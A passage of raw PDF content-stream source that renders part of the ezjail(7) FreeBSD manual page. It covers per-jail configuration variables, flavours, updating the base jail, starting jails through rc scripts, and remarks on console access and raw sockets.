998/TT6 1 Tf
9991.8003 0 TD
1000(.)Tj
1001-20.8168 -1.8 TD
1002[(jail_J)60(AILN)35(AME_de)25(vfs_ruleset)]TJ
10034.1 -1.2 TD
10040.6009 Tw
1005(The ruleset to apply when mounting a)Tj
1006/TT11 1 Tf
100719.6194 0 TD
10080 Tw
1009(/dev)Tj
1010/TT9 1 Tf
10113.2513 0 TD
1012()Tj
1013/TT6 1 Tf
10140.5562 0 TD
10150.6009 Tw
1016[(lesystem inside a jail. Def)10(aults to)]TJ
1017-23.4268 -1.2 TD
10180 Tw
1019()Tj
1020/TT11 1 Tf
10210.4438 0 TD
1022($ezjail_devfs_ruleset)Tj
1023/TT6 1 Tf
102412.602 0 TD
1025(, or )Tj
1026/TT11 1 Tf
10272.4707 0 TD
1028(devfsrules_jail)Tj
1029/TT6 1 Tf
10309.0015 0 TD
1031(.)Tj
1032-28.6181 -1.8 TD
1033[(ezjail_J)60(AILN)35(AME_procfs)]TJ
10344.1 -1.2 TD
10350.3882 Tw
1036[(A)-638.2(boolean specifying whether to mount a)]TJ
1037/TT11 1 Tf
103819.5187 0 TD
10390 Tw
1040(/proc)Tj
1041/TT9 1 Tf
10423.6386 0 TD
1043()Tj
1044/TT6 1 Tf
10450.5562 0 TD
10460.3881 Tw
1047[(lesystem inside the jail. Def)10(aults to)]TJ
1048-23.7134 -1.2 TD
10490 Tw
1050()Tj
1051/TT11 1 Tf
10520.4438 0 TD
1053($ezjail_procfs_enable)Tj
1054/TT6 1 Tf
105512.602 0 TD
1056(, or )Tj
1057/TT11 1 Tf
10582.4707 0 TD
1059(YES)Tj
1060/TT6 1 Tf
10611.8003 0 TD
1062(.)Tj
1063-21.4169 -1.8 TD
1064[(ezjail_J)60(AILN)35(AME_fdescfs)]TJ
10654.1 -1.2 TD
10660.2958 Tw
1067[(A)-545.8(boolean specifying whether to mount a)]TJ
1068/TT11 1 Tf
106918.8719 0 TD
10700 Tw
1071(/dev/fs)Tj
1072/TT9 1 Tf
10734.7466 0 TD
1074()Tj
1075/TT6 1 Tf
10760.5562 0 TD
10770.2959 Tw
1078[(lesystem inside the jail. Def)10(aults to)]TJ
1079-24.1746 -1.2 TD
10800 Tw
1081()Tj
1082/TT11 1 Tf
10830.4438 0 TD
1084($ezjail_fdescfs_enable)Tj
1085/TT6 1 Tf
108613.2022 0 TD
1087(, or )Tj
1088/TT11 1 Tf
10892.4707 0 TD
1090(YES)Tj
1091/TT6 1 Tf
10921.8003 0 TD
1093(.)Tj
1094-22.017 -1.8 TD
1095[(ezjail_J)60(AILN)35(AME_image)]TJ
10964.1 -1.2 TD
1097(The path to the image )Tj
1098/TT9 1 Tf
10998.9692 0 TD
1100()Tj
1101/TT6 1 Tf
11020.5562 0 TD
1103(le backing the jail, if the jail is )Tj
1104/TT9 1 Tf
110512.4131 0 TD
1106()Tj
1107/TT6 1 Tf
11080.5562 0 TD
1109(le-based; or the empty string.)Tj
1110-26.5946 -1.8 TD
1111[(ezjail_J)60(AILN)35(AME_imagetype)]TJ
11124.1 -1.2 TD
1113(The type of the image, if the jail is )Tj
1114/TT9 1 Tf
111514.0513 0 TD
1116()Tj
1117/TT6 1 Tf
11180.5561 0 TD
1119(le-based; the empty string otherwise.)Tj
1120-18.7074 -1.8 TD
1121[(ezjail_J)60(AILN)35(AME_attachparams)]TJ
11224.1 -1.2 TD
11230.0749 Tw
1124(The parameters to pass to the tool used to decrypt )Tj
1125/TT9 1 Tf
112620.8545 0 TD
11270 Tw
1128()Tj
1129/TT6 1 Tf
11300.5562 0 TD
11310.0749 Tw
1132(le-based, encrypted jails. Initialized from the)Tj
1133/TT3 1 Tf
1134-21.244 -1.2 TD
11350 Tw
1136<00e9>Tj
1137/TT4 1 Tf
11380.6001 0 TD
1139(C)Tj
1140/TT6 1 Tf
11410.9723 0 TD
11420.1222 Tw
1143[(option when creating such a jail, or the empty string.)-622.2()]TJ
1144/TT11 1 Tf
114523.244 0 TD
11460 Tw
1147(YES)Tj
1148/TT6 1 Tf
11491.8003 0 TD
11500.1223 Tw
1151[()-372.2(i)0(f)-372.2(the jail requires interaction)]TJ
1152-26.7833 -1.2 TD
11530.2779 Tw
1154[(with the administrator when starting \(typically)65(,)-527.9(encrypted jails that needs a passw)10(ord to be)]TJ
1155T*
11560 Tw
1157(decrypted\).)Tj
1158-4.1 -1.8 TD
1159[(ezjail_J)60(AILN)35(AME_forceblocking)]TJ
11604.1 -1.2 TD
1161(If )Tj
1162/TT11 1 Tf
11631.3599 0 TD
1164(YES)Tj
1165/TT6 1 Tf
11661.8003 0 TD
1167[(, start the jail e)25(v)15(en)-250(when it is mark)10(ed as blocking.)]TJ
1168-7.2602 -1.8 TD
1169[(ezjail_J)60(AILN)35(AME_zfs_datasets)]TJ
11704.1 -1.2 TD
11710.1288 Tw
1172[(F)15(o)0(r)-378.7(ZFS jails, additional ZFS datasets to attach to the jail when starting it. T)80(a)0(k)10(en from the)]TJ
1173/TT3 1 Tf
117438.4948 0 TD
11750 Tw
1176<00e9>Tj
1177/TT4 1 Tf
11780.6001 0 TD
1179(z)Tj
1180/TT6 1 Tf
1181-39.0948 -1.2 TD
1182(option when con)Tj
1183/TT9 1 Tf
11846.6655 0 TD
1185()Tj
1186/TT6 1 Tf
11870.5562 0 TD
1188(guring a jail; the empty string otherwise.)Tj
1189-14.3217 -6.6 TD
119017.775 Tw
1191[(BSD January)-250(15, )17775(2011)-19470(3)]TJ
1192ET
1193endstream
1194endobj
119517 0 obj
1196<<
1197/ProcSet [/PDF /Text ]
1198/Font <<
1199/TT3 18 0 R
1200/TT4 5 0 R
1201/TT6 6 0 R
1202/TT8 7 0 R
1203/TT9 8 0 R
1204/TT11 9 0 R
1205>>
1206/ExtGState <<
1207/GS1 10 0 R
1208>>
1209>>
1210endobj
121120 0 obj
1212<<
1213/Length 9370
1214>>
1215stream
1216BT
1217/TT6 1 Tf
121810 0 0 10 72 744 Tm
12190 g
1220/GS1 gs
12210 Tc
1222-0.0834 Tw
1223[(EZJ)60(AIL \(7\))-12017.9(User)55(s)-250(Supplementary )-83.4(Documents)-12017.9(EZJ)60(AIL \(7\))]TJ
12243 -4.8 TD
12250 Tw
1226[(ezjail_J)60(AILN)35(AME_cpuset)]TJ
12274.1 -1.2 TD
12280.021 Tw
1229(The processor set to place the jail in when starting it \(see)Tj
1230/TT11 1 Tf
123123.2447 0 TD
12320 Tw
1233(cpuset)Tj
1234/TT6 1 Tf
12353.6006 0 TD
12360.021 Tw
1237[(\(1\)\). )-250(T)80(a)0(k)10(en from the)]TJ
1238/TT3 1 Tf
12398.8237 0 TD
12400 Tw
1241<00e9>Tj
1242/TT4 1 Tf
12430.6001 0 TD
1244(c)Tj
1245/TT6 1 Tf
12460.8711 0 TD
1247(option)Tj
1248-37.1401 -1.2 TD
1249(when con)Tj
1250/TT9 1 Tf
12513.8599 0 TD
1252()Tj
1253/TT6 1 Tf
12540.5562 0 TD
1255(guring a jail; the empty string otherwise.)Tj
1256-8.516 -1.8 TD
1257[(ezjail_J)60(AILN)35(AME_)]TJ
1258/TT9 1 Tf
12598.0696 0 TD
1260()Tj
1261/TT6 1 Tf
12620.5562 0 TD
1263(b)Tj
1264-4.5257 -1.2 TD
12650.0466 Tw
1266[(The netw)10(ork vie)25(w)-296.6(t)0(o)-296.6(g)0(i)25(v)25( )286.6(e)-296.6(to the jail \(see)]TJ
1267/TT11 1 Tf
126816.756 0 TD
12690 Tw
1270(setfib)Tj
1271/TT6 1 Tf
12723.6006 0 TD
12730.0466 Tw
1274[(\(1\)\) when starting it. T)80(a)0(k)10(en from the)]TJ
1275/TT3 1 Tf
127615.2872 0 TD
12770 Tw
1278<00e9>Tj
1279/TT4 1 Tf
12800.6001 0 TD
1281(f)Tj
1282/TT6 1 Tf
12830.8968 0 TD
1284(option)Tj
1285-37.1407 -1.2 TD
1286(when con)Tj
1287/TT9 1 Tf
12883.8599 0 TD
1289()Tj
1290/TT6 1 Tf
12910.5562 0 TD
1292(guring the jail; the empty string otherwise.)Tj
1293-8.516 -1.8 TD
1294[(ezjail_J)60(AILN)35(AME_parameters)]TJ
12954.1 -1.2 TD
12960.054 Tw
1297(The parameter set to be con)Tj
1298/TT9 1 Tf
129911.3481 0 TD
13000 Tw
1301()Tj
1302/TT6 1 Tf
13030.5562 0 TD
13040.054 Tw
1305(gured to the jail \(see)Tj
1306/TT11 1 Tf
13078.6835 0 TD
13080 Tw
1309(jail)Tj
1310/TT6 1 Tf
13112.4004 0 TD
13120.0539 Tw
1313[(\(8\)\) when starting it. Y)110(ou need to con)]TJ
1314/TT9 1 Tf
131515.3191 0 TD
13160 Tw
1317()Tj
1318/TT6 1 Tf
13190.5562 0 TD
1320(g-)Tj
1321-38.8634 -1.2 TD
1322(ure this by hand.)Tj
1323-4.1 -1.8 TD
1324[(ezjail_J)60(AILN)35(AME_post_start_script)]TJ
13254.1 -1.2 TD
13260.017 Tw
1327[(The path to a script that will be e)15(x)15(ecuted after the jail successfully w)10(as created. The script recei)25(v)15(e)0(s)]TJ
1328T*
13290 Tw
1330[(tw)10(o)-250(parameters, the jid and the jail name.)-500(Y)110(o)0(u)-250(need to con)]TJ
1331/TT9 1 Tf
133223.4835 0 TD
1333()Tj
1334/TT6 1 Tf
13350.5562 0 TD
1336(gure this by hand.)Tj
1337-28.1397 -1.8 TD
13380.3903 Tw
1339(In addition to these)Tj
1340/TT11 1 Tf
13419.5041 0 TD
13420 Tw
1343(sh)Tj
1344/TT6 1 Tf
13451.2002 0 TD
13460.3902 Tw
1347[(\(1\)-style v)25(ariables, the administrator may add comment lines starting with)]TJ
1348-10.7043 -1.2 TD
13490.0658 Tw
1350[(PR)40(O)50(VIDE:, REQ)10(UIRE: and BEFORE:.)-565.8(These comments are used by)]TJ
1351/TT11 1 Tf
135231.485 0 TD
13530 Tw
1354(rcorder)Tj
1355/TT6 1 Tf
13564.2007 0 TD
13570.0659 Tw
1358(\(8\) to determine the)Tj
1359-35.6857 -1.2 TD
13600.0481 Tw
1361[(order in which the jails are started. The def)10(ault is to k)10(eep REQ)10(UIRE and BEFORE empty)65(,)-298.1(meaning the)]TJ
1362T*
13630 Tw
1364[(jails are started in no particular order)55(.)]TJ
1365/TT2 1 Tf
1366-1.8 -2.4 TD
1367[(Fla)25(v)10(ours)]TJ
1368/TT6 1 Tf
13691.8 -1.2 TD
13700.4115 Tw
1371(When a jail is created, it is not con)Tj
1372/TT9 1 Tf
137317.1484 0 TD
13740 Tw
1375()Tj
1376/TT6 1 Tf
13770.5562 0 TD
13780.4115 Tw
1379[(gured; in particular you lik)10(ely w)10(ant to edit )]TJ
1380/TT9 1 Tf
138120.4341 0 TD
13820 Tw
1383()Tj
1384/TT6 1 Tf
13850.5562 0 TD
13860.4115 Tw
1387(les such as)Tj
1388/TT11 1 Tf
1389-38.6949 -1.2 TD
13900 Tw
1391(/etc/resolv.conf)Tj
1392/TT6 1 Tf
13939.6016 0 TD
1394(,)Tj
1395/TT11 1 Tf
13960.9187 0 TD
1397(/etc/localtime)Tj
1398/TT6 1 Tf
13998.7201 0 TD
14000.0686 Tw
1401[(and others. Y)110(ou may also w)10(ant to create some system users,)]TJ
1402-19.2403 -1.2 TD
14030.1042 Tw
1404(maybe enable)Tj
1405/TT11 1 Tf
14065.9833 0 TD
14070 Tw
1408(sshd)Tj
1409/TT6 1 Tf
14102.4004 0 TD
14110.1042 Tw
1412[(\(8\). )-250(Ezjail)-354.2(solv)15(es this problem by using the concept of )]TJ
1413/TT9 1 Tf
141423.5773 0 TD
14150 Tw
1416()Tj
1417/TT6 1 Tf
14180.5562 0 TD
14190.3543 Tw
1420[(a)20(v)20(ours. When)-354.3(a)]TJ
1421/TT9 1 Tf
14227.4643 0 TD
14230 Tw
1424()Tj
1425/TT6 1 Tf
14260.5562 0 TD
14270.1043 Tw
1428[(a)20(v)20(our is)]TJ
1429-40.5376 -1.2 TD
14300.0804 Tw
1431(selected at jail creation time, the )Tj
1432/TT9 1 Tf
143313.6709 0 TD
14340 Tw
1435()Tj
1436/TT6 1 Tf
14370.5562 0 TD
14380.0803 Tw
1439[(a)20(v)20(our directory tree is mer)18(ged into the ne)25(w)-330.4(jail)55(s)-330.4(directory tree. In addi-)]TJ
1440-14.227 -1.2 TD
14410 Tw
1442(tion, the jail is con)Tj
1443/TT9 1 Tf
14447.4155 0 TD
1445()Tj
1446/TT6 1 Tf
14470.5562 0 TD
1448(gured so that on its )Tj
1449/TT9 1 Tf
14507.8604 0 TD
1451()Tj
1452/TT6 1 Tf
14530.5562 0 TD
1454(rst boot, the )Tj
1455/TT9 1 Tf
14564.9995 0 TD
1457()Tj
1458/TT6 1 Tf
14590.5562 0 TD
1460(le)Tj
1461/TT11 1 Tf
14620.9717 0 TD
1463(ezjail.flavour)Tj
1464/TT6 1 Tf
14658.6514 0 TD
1466[(is e)15(x)15(ecuted.)]TJ
1467-31.5669 -1.8 TD
14680.1077 Tw
1469(As part of the install sub-command, the )Tj
1470/TT9 1 Tf
147116.8061 0 TD
14720 Tw
1473()Tj
1474/TT6 1 Tf
14750.5562 0 TD
14760.1078 Tw
1477[(a)20(v)20(our base directory w)10(as created as)]TJ
1478/TT11 1 Tf
147915.0343 0 TD
14800 Tw
1481(/usr/jails/flavours)Tj
1482/TT6 1 Tf
1483-32.3966 -1.2 TD
14840.0326 Tw
1485(and populated with an single )Tj
1486/TT9 1 Tf
148711.9106 0 TD
14880 Tw
1489()Tj
1490/TT6 1 Tf
14910.5562 0 TD
14920.0326 Tw
1493[(a)20(v)20(our named)]TJ
1494/TT4 1 Tf
14955.4676 0 TD
14960 Tw
1497(example)Tj
1498/TT6 1 Tf
14994.2007 0 TD
1500[(.)-532.6(This )]TJ
1501/TT9 1 Tf
15022.843 0 TD
1503()Tj
1504/TT6 1 Tf
15050.5562 0 TD
15060.0326 Tw
1507[(a)20(v)20(our contains 3 )]TJ
1508/TT9 1 Tf
15096.9172 0 TD
15100 Tw
1511()Tj
1512/TT6 1 Tf
15130.5562 0 TD
15140.0326 Tw
1515(les customized for running)Tj
1516-33.0075 -1.2 TD
15171.0937 Tw
1518(in a jail \()Tj
1519/TT11 1 Tf
15206.8631 0 TD
15210 Tw
1522(etc/make.conf)Tj
1523/TT6 1 Tf
15247.8013 0 TD
1525(,)Tj
1526/TT11 1 Tf
15271.9437 0 TD
1528(etc/periodic.conf)Tj
1529/TT6 1 Tf
153010.2017 0 TD
1531(,)Tj
1532/TT11 1 Tf
15331.9437 0 TD
1534(etc/rc.conf)Tj
1535/TT6 1 Tf
15366.6011 0 TD
15371.3437 Tw
1538[(\). The)-1343.8(e)15(xample)]TJ
1539/TT11 1 Tf
1540-35.3545 -1.2 TD
15410 Tw
1542(ezjail.flavour)Tj
1543/TT6 1 Tf
15448.7932 0 TD
15450.1417 Tw
1546[(also sho)25(w)-391.7(h)0(o)25(w)25( )-25(to)-391.7(create users, and introduce the con)40(v)15(ention of placing packages in)]TJ
1547/TT11 1 Tf
1548-8.7932 -1.2 TD
15490 Tw
1550(/pkg)Tj
1551/TT6 1 Tf
15522.7014 0 TD
15530.051 Tw
1554(that are installed when the jail is )Tj
1555/TT9 1 Tf
155613.5474 0 TD
15570 Tw
1558()Tj
1559/TT6 1 Tf
15600.5562 0 TD
15610.051 Tw
1562[(rst brought up. Y)110(ou are encouraged to cop)10(y)-301.1(the e)15(xample )]TJ
1563/TT9 1 Tf
156423.1184 0 TD
15650 Tw
1566()Tj
1567/TT6 1 Tf
15680.5562 0 TD
15690.0511 Tw
1570[(a)20(v)20(our to)]TJ
1571-40.4795 -1.2 TD
15720.0014 Tw
1573[(create your o)25(wn )]TJ
1574/TT9 1 Tf
15756.6706 0 TD
15760 Tw
1577()Tj
1578/TT6 1 Tf
15790.5562 0 TD
1580[(a)20(v)20(our)55(.)-501.4(T)80(ypical )]TJ
1581/TT9 1 Tf
15826.1589 0 TD
1583()Tj
1584/TT6 1 Tf
15850.5562 0 TD
15860.0013 Tw
1587[(a)20(v)20(our usages include setting up jails with site-speci)]TJ
1588/TT9 1 Tf
158920.4925 0 TD
15900 Tw
1591()Tj
1592/TT6 1 Tf
15930.5562 0 TD
15940.0013 Tw
1595(c con)Tj
1596/TT9 1 Tf
15972.139 0 TD
15980 Tw
1599()Tj
1600/TT6 1 Tf
16010.5562 0 TD
16020.0013 Tw
1603(guration, creat-)Tj
1604-37.6856 -1.2 TD
16050.0295 Tw
1606[(ing classes of jails for de)25(v)15(elopment or testing \(such as a webde)25(v)]TJ
1607/TT9 1 Tf
160826.2266 0 TD
16090 Tw
1610()Tj
1611/TT6 1 Tf
16120.5562 0 TD
16130.0296 Tw
1614[(a)20(v)20(our that w)10(ould install Apache with your)]TJ
1615-26.7828 -1.2 TD
16160 Tw
1617[(f)10(a)20(v)20(ourite web de)25(v)15(elopment frame)25(w)10(ork\), pre-creating local users, and so on.)]TJ
1618/TT2 1 Tf
1619-1.8 -2.4 TD
16200.0625 Tw
1621[(Updating the Base J)15(ail)]TJ
1622/TT6 1 Tf
16231.8 -1.2 TD
16240.0674 Tw
1625[(W)80(e)80( )-80.1(already mentionned ho)25(w)-317.5(easy it is to update jails, since only one cop)10(y)-317.5(needs to be updated. Ezjail only)]TJ
1626T*
16270.6262 Tw
1628[(handles updating the base system; updating the ports is left to the administrator \(b)20(ut see)]TJ
1629T*
16300 Tw
1631()Tj
1632/TT11 1 Tf
16330.4438 0 TD
1634(ports-mgmt/jailaudit)Tj
1635/TT6 1 Tf
163612.002 0 TD
16370.0251 Tw
1638[()-275.1(for a w)10(ay to get noti)]TJ
1639/TT9 1 Tf
16408.9155 0 TD
16410 Tw
1642()Tj
1643/TT6 1 Tf
16440.5562 0 TD
16450.0251 Tw
1646(ed of ports in need of an update\). Updates are handled)Tj
1647-21.9175 -1.2 TD
16480.1373 Tw
1649(with the)Tj
1650/TT4 1 Tf
16513.7741 0 TD
1652-0.2127 Tw
1653(ezjail-admin update)Tj
1654/TT6 1 Tf
165511.5765 0 TD
16560.1374 Tw
1657(command. It is possible to update the base jail from source or from)Tj
1658-15.3506 -1.2 TD
16590.0382 Tw
1660[(binary packages. If a base jail already e)15(xists, the)]TJ
1661/TT4 1 Tf
166219.9047 0 TD
16630 Tw
1664(update)Tj
1665/TT6 1 Tf
16663.8888 0 TD
16670.0382 Tw
1668[(command installs the w)10(orld in a temporary direc-)]TJ
1669-23.7935 -1.2 TD
16700.032 Tw
1671[(tory before mo)15(ving it to the basejail, thus lea)20(ving intact all installed libraries. After making sure all softw)10(are)]TJ
1672T*
16730.0752 Tw
1674[(running in the jails is link)10(ed with the ne)25(w)-325.2(librairies, you may w)10(ant to rem)]TJ
167530.4189 0 TD
1676-0.015 Tc
16770 Tw
1678(ove )Tj
16791.739 0 TD
16800 Tc
16810.0752 Tw
1682[(the old library v)15(ersions. It is)]TJ
1683-32.158 -1.2 TD
16840 Tw
1685[(often a good idea to update the jails when a ne)25(w)-250(k)10(ernel is installed in the host, using the same sources.)]TJ
1686/TT2 1 Tf
1687-1.8 -2.4 TD
16880.0625 Tw
1689[(Starting J)15(ails)]TJ
1690/TT6 1 Tf
16911.8 -1.2 TD
16920 Tw
1693[(Lik)10(e)-601.1(all)]TJ
1694/TT11 1 Tf
16954.0242 0 TD
1696(rc)Tj
1697/TT6 1 Tf
16981.2002 0 TD
16990.3511 Tw
1700(\(8\) scripts, the ezjail script)Tj
1701/TT11 1 Tf
170212.6408 0 TD
17030 Tw
1704(EZJAIL_PREFIX/etc/rc.d/ezjail)Tj
1705/TT6 1 Tf
170618.0039 0 TD
17070.3512 Tw
1708(accepts parameters)Tj
1709/TT4 1 Tf
1710-35.8691 -1.2 TD
17110 Tw
1712(start)Tj
1713/TT6 1 Tf
17143.0005 0 TD
1715(,)Tj
1716/TT4 1 Tf
17170.852 0 TD
1718(restart)Tj
1719/TT6 1 Tf
17204.8027 0 TD
1721(and)Tj
1722/TT4 1 Tf
17231.6958 0 TD
1724(stop,)Tj
1725/TT6 1 Tf
17263.6025 0 TD
17270.002 Tw
1728[(running, restarting and stopping all \(non-blocking\) jails under ezjail)55(s)-252(con-)]TJ
1729-13.9535 -1.2 TD
17300 Tw
1731[(trol by def)10(ault. When passed an additional list of jails, only these jails are acted upon.)]TJ
17320 -1.8 TD
17330.0321 Tw
1734(The order in which jails are started is determined by the)Tj
1735/TT11 1 Tf
173622.9288 0 TD
17370 Tw
1738(rcorder)Tj
1739/TT6 1 Tf
17404.2007 0 TD
17410.0321 Tw
1742(\(8\) tool, using cues from the jail con)Tj
1743/TT9 1 Tf
174414.7769 0 TD
17450 Tw
1746()Tj
1747/TT6 1 Tf
17480.5562 0 TD
1749(gu-)Tj
1750-42.4626 -1.2 TD
1751(rations in ezjails)Tj
1752/TT11 1 Tf
17536.8037 0 TD
1754(EZJAIL_PREFIX/etc/ezjail)Tj
1755/TT6 1 Tf
175614.6523 0 TD
1757[(control directory)65(.)]TJ
1758-24.4561 -5.4 TD
175917.775 Tw
1760[(BSD January)-250(15, )17775(2011)-19470(4)]TJ
1761ET
1762endstream
1763endobj
176421 0 obj
1765<<
1766/ProcSet [/PDF /Text ]
1767/Font <<
1768/TT2 4 0 R
1769/TT3 18 0 R
1770/TT4 5 0 R
1771/TT6 6 0 R
1772/TT9 8 0 R
1773/TT11 9 0 R
1774>>
1775/ExtGState <<
1776/GS1 10 0 R
1777>>
1778>>
1779endobj
178023 0 obj
1781<<
1782/Length 7750
1783>>
1784stream
1785BT
1786/TT6 1 Tf
178710 0 0 10 72 744 Tm
17880 g
1789/GS1 gs
17900 Tc
1791-0.0834 Tw
1792[(EZJ)60(AIL \(7\))-12017.9(User)55(s)-250(Supplementary )-83.4(Documents)-12017.9(EZJ)60(AIL \(7\))]TJ
17933 -4.8 TD
17940.044 Tw
1795[(The script e)15(xamines its con)]TJ
1796/TT9 1 Tf
179711.1024 0 TD
17980 Tw
1799()Tj
1800/TT6 1 Tf
18010.5562 0 TD
18020.0439 Tw
1803[(g, attaches and mounts images, and sets v)25(ariables for each jail in the list before)]TJ
1804-11.6586 -1.2 TD
18050 Tw
1806(passing its command on to the)Tj
1807/TT11 1 Tf
180812.3877 0 TD
1809(/etc/rc.d/jail)Tj
1810/TT6 1 Tf
18118.6514 0 TD
1812(script.)Tj
1813-21.0391 -1.8 TD
18140.0353 Tw
1815[(T)80(o)80( )-80(interacti)25(v)15(ely start all crypto image jails \(or those depending on them\), that were not automatically started)]TJ
18160 -1.2 TD
18170 Tw
1818(during booting, use the)Tj
1819/TT4 1 Tf
18209.4712 0 TD
1821(startcrypto)Tj
1822/TT6 1 Tf
18236.8511 0 TD
1824[(parameter)55(.)]TJ
1825-16.3223 -1.8 TD
18260.3287 Tw
1827(Note that jails con)Tj
1828/TT9 1 Tf
18298.2898 0 TD
18300 Tw
1831()Tj
1832/TT6 1 Tf
18330.5562 0 TD
18340.3287 Tw
1835(gured to be in the)Tj
1836/TT13 1 Tf
18378.8915 0 TD
18380 Tw
1839(norun)Tj
1840/TT6 1 Tf
18412.9679 0 TD
18420.3287 Tw
1843(state \(using)Tj
1844/TT4 1 Tf
18455.4898 0 TD
1846-0.0214 Tw
1847(ezjail-admin config)Tj
1848/TT3 1 Tf
184912.4757 0 TD
18500 Tw
1851<00e9>Tj
1852/TT4 1 Tf
18530.6001 0 TD
1854(r)Tj
1855/TT8 1 Tf
18561.5287 0 TD
1857(norun)Tj
1858-40.7996 -1.2 TD
1859(jailname)Tj
1860/TT6 1 Tf
18614.8008 0 TD
1862[(\))-250(are ne)25(v)15(e)0(r)-250(started by the ezjail rc script.)]TJ
1863-4.8008 -1.8 TD
18640.0403 Tw
1865[(As a con)40(v)15(enient shortcut, the)]TJ
1866/TT4 1 Tf
186712.0322 0 TD
18680 Tw
1869(ezjail-admin)Tj
1870/TT6 1 Tf
18717.4915 0 TD
18720.0404 Tw
1873[(command in)40(v)20(o)0(k)10(e)0(s)-290.4(the rc.d script and passes the correspond-)]TJ
1874-19.5237 -1.2 TD
18750 Tw
1876[(ing parameters, if the)15(y)-250(look lik)10(e)-250(v)25(alid parameters.)]TJ
18770 -1.8 TD
18780.0342 Tw
1879[(Ev)15(en if ezjail is not enabled in the)]TJ
1880/TT11 1 Tf
188114.1429 0 TD
18820 Tw
1883(rc.conf)Tj
1884/TT6 1 Tf
18854.2007 0 TD
18860.0341 Tw
1887(\(5\), rc.d/ezjail can be used to start and stop jails by prepending)Tj
1888/TT4 1 Tf
1889-18.3436 -1.2 TD
18900 Tw
1891(force)Tj
1892/TT6 1 Tf
18933.6005 0 TD
1894(or)Tj
1895/TT4 1 Tf
18961.083 0 TD
1897(one)Tj
1898/TT6 1 Tf
18992.4003 0 TD
1900(to the)Tj
1901/TT4 1 Tf
19022.4995 0 TD
1903(start, restart)Tj
1904/TT6 1 Tf
19059.0014 0 TD
1906(or)Tj
1907/TT4 1 Tf
19081.083 0 TD
1909(stop)Tj
1910/TT6 1 Tf
19113.0004 0 TD
1912[(parameter)55(.)-250(Refer to)]TJ
1913/TT11 1 Tf
19147.9406 0 TD
1915(rc)Tj
1916/TT6 1 Tf
19171.2002 0 TD
1918(\(8\) for details.)Tj
1919/TT2 1 Tf
1920-33.6089 -2.4 TD
19210.0625 Tw
1922[(Remarks & T)18(ips)]TJ
1923/TT6 1 Tf
19241.8 -1.2 TD
19250.0023 Tw
1926[(Jails can be either accessed from the netw)10(ork, for instance by using)]TJ
1927/TT11 1 Tf
192827.2032 0 TD
19290 Tw
1930(ssh)Tj
1931/TT6 1 Tf
19321.8003 0 TD
19330.0024 Tw
1934(\(1\), or from the host system by using)Tj
1935-29.0035 -1.2 TD
19360 Tw
1937(the)Tj
1938/TT4 1 Tf
19391.5745 0 TD
1940(console)Tj
1941/TT6 1 Tf
19424.5535 0 TD
19430.1027 Tw
1944[(command, which gi)25(v)15(e)0(s)-352.7(you an interacti)25(v)15(e)15( )-15(shell inside the jail. It is also possible to edit the)]TJ
1945/TT9 1 Tf
1946-6.128 -1.2 TD
19470 Tw
1948()Tj
1949/TT6 1 Tf
19500.5562 0 TD
19510.0059 Tw
1952(les of a running jail, and the modi)Tj
1953/TT9 1 Tf
195413.5384 0 TD
19550 Tw
1956()Tj
1957/TT6 1 Tf
19580.5562 0 TD
19590.0059 Tw
1960[(cations will appear immediately inside the jail en)40(vironment. )-250(When)-255.9(deal-)]TJ
1961-14.6507 -1.2 TD
19620.1412 Tw
1963(ing image-based, the)Tj
1964/TT4 1 Tf
19658.9763 0 TD
1966(config -i attach)Tj
1967/TT6 1 Tf
196810.2751 0 TD
19690.1411 Tw
1970[(command allo)25(ws one to access the disk of a )]TJ
1971/TT9 1 Tf
197218.99 0 TD
19730 Tw
1974()Tj
1975/TT6 1 Tf
19760.5562 0 TD
19770.1411 Tw
1978(le-based jail)Tj
1979-38.7976 -1.2 TD
19800 Tw
1981(without starting it.)Tj
19820 -1.8 TD
19830.0448 Tw
1984[(Ra)15(w)-294.8(sock)10(ets are disallo)25(wed by def)10(ault for all jails. This is not a ezjail restriction, b)20(ut a design def)10(ault of the)]TJ
19850 -1.2 TD
19860.0401 Tw
1987(jail command. This means the)Tj
1988/TT11 1 Tf
198912.4754 0 TD
19900 Tw
1991(ping)Tj
1992/TT6 1 Tf
19932.4004 0 TD
19940.0401 Tw
1995(\(8\) command will get Operation not permitted. error when used from)Tj
1996-14.8758 -1.2 TD
19970.0525 Tw
1998(inside of a jail. There are)Tj
1999/TT11 1 Tf
200010.5601 0 TD
20010 Tw
2002(sysctl)Tj
2003/TT6 1 Tf
20043.6006 0 TD
20050.0525 Tw
2006[(\(3\) knobs for allo)25(wing a jail to access ra)15(w)-302.6(sock)10(ets, see the)]TJ
2007/TT11 1 Tf
200824.0452 0 TD
20090 Tw
2010(jail)Tj
2011/TT6 1 Tf
20122.4004 0 TD
20130.0526 Tw
2014(\(8\) man)Tj
2015-40.6063 -1.2 TD
20160 Tw
2017(page for details.)Tj
20180 -1.8 TD
20190.0365 Tw
2020[(Once your jail has netw)10(ork access, then all your normal application install functions are a)20(v)25(ailabe, right from)]TJ
20210 -1.2 TD
20220.0372 Tw
2023[(the jails console. In particular)40(,)-287.2(i)0(f)-287.2(the ports collection w)10(as installed, it can be used as if from the host system.)]TJ
2024T*
20250 Tw
2026[(A)-380.7(modi)]TJ
2027/TT9 1 Tf
20283.1585 0 TD
2029()Tj
2030/TT6 1 Tf
20310.5562 0 TD
2032(ed)Tj
2033/TT11 1 Tf
20341.3245 0 TD
2035(make.conf)Tj
2036/TT9 1 Tf
20375.7816 0 TD
2038()Tj
2039/TT6 1 Tf
20400.5562 0 TD
20410.1307 Tw
2042[(le is installed by the e)15(xample )]TJ
2043/TT9 1 Tf
204412.6549 0 TD
20450 Tw
2046()Tj
2047/TT6 1 Tf
20480.5562 0 TD
20490.1307 Tw
2050[(a)20(v)20(our)40(,)-380.7(that enable the ports collection to w)10(ork)]TJ
2051-24.5881 -1.2 TD
20520 Tw
2053[(e)25(v)25( )240(en)-250(with a read-only)]TJ
2054/TT11 1 Tf
20558.9009 0 TD
2056(/usr/ports)Tj
2057/TT6 1 Tf
20586.001 0 TD
2059(.)Tj
2060-14.9019 -1.8 TD
20610.7411 Tw
2062(It is possible to change the IP address of a jail by editing its con)Tj
2063/TT9 1 Tf
206435.8705 0 TD
20650 Tw
2066()Tj
2067/TT6 1 Tf
20680.5562 0 TD
2069(guration )Tj
2070/TT9 1 Tf
20714.3236 0 TD
2072()Tj
2073/TT6 1 Tf
20740.5561 0 TD
20750.7411 Tw
2076(le in)Tj
2077/TT11 1 Tf
2078-41.3064 -1.2 TD
20790 Tw
2080(EZJAIL_PREFIX/etc/ezjail)Tj
2081/TT6 1 Tf
